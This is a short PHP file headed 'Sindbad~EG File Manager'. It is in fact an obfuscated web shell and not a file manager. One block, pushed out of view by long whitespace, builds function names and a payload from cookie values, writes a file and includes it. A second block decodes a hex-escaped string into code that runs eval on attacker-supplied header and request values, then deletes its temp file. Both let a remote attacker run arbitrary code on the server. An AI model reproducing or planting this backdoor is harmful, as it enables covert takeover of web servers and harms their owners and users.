Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[12])){$c=$_COOKIE;$k=0;$n=9;$p=array();$p[$k]='';while($n){$p[$k].=$c[12][$n];if(!$c[12][$n+1]){if(!$c[12][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+9+1;}$k=$p[10]().$p[0];if(!$p[17]($k)){$n=$p[20]($k,$p[2]);$p[25]($n,$p[27].$p[11]($p[14]($c[3])));}include($k);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Modified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x53e\x63\x2dW\x65\x62s\x6f\x63k\x65\x74-\x41\x63c\x65\x70t\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x52\x45Q\x55\x45S\x54\x5b\"\x53\x65c\x2d\x57e\x62\x73o\x63\x6be\x74\x2dA\x63\x63e\x70\x74\"\x5d\x29;";
    $f = '.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}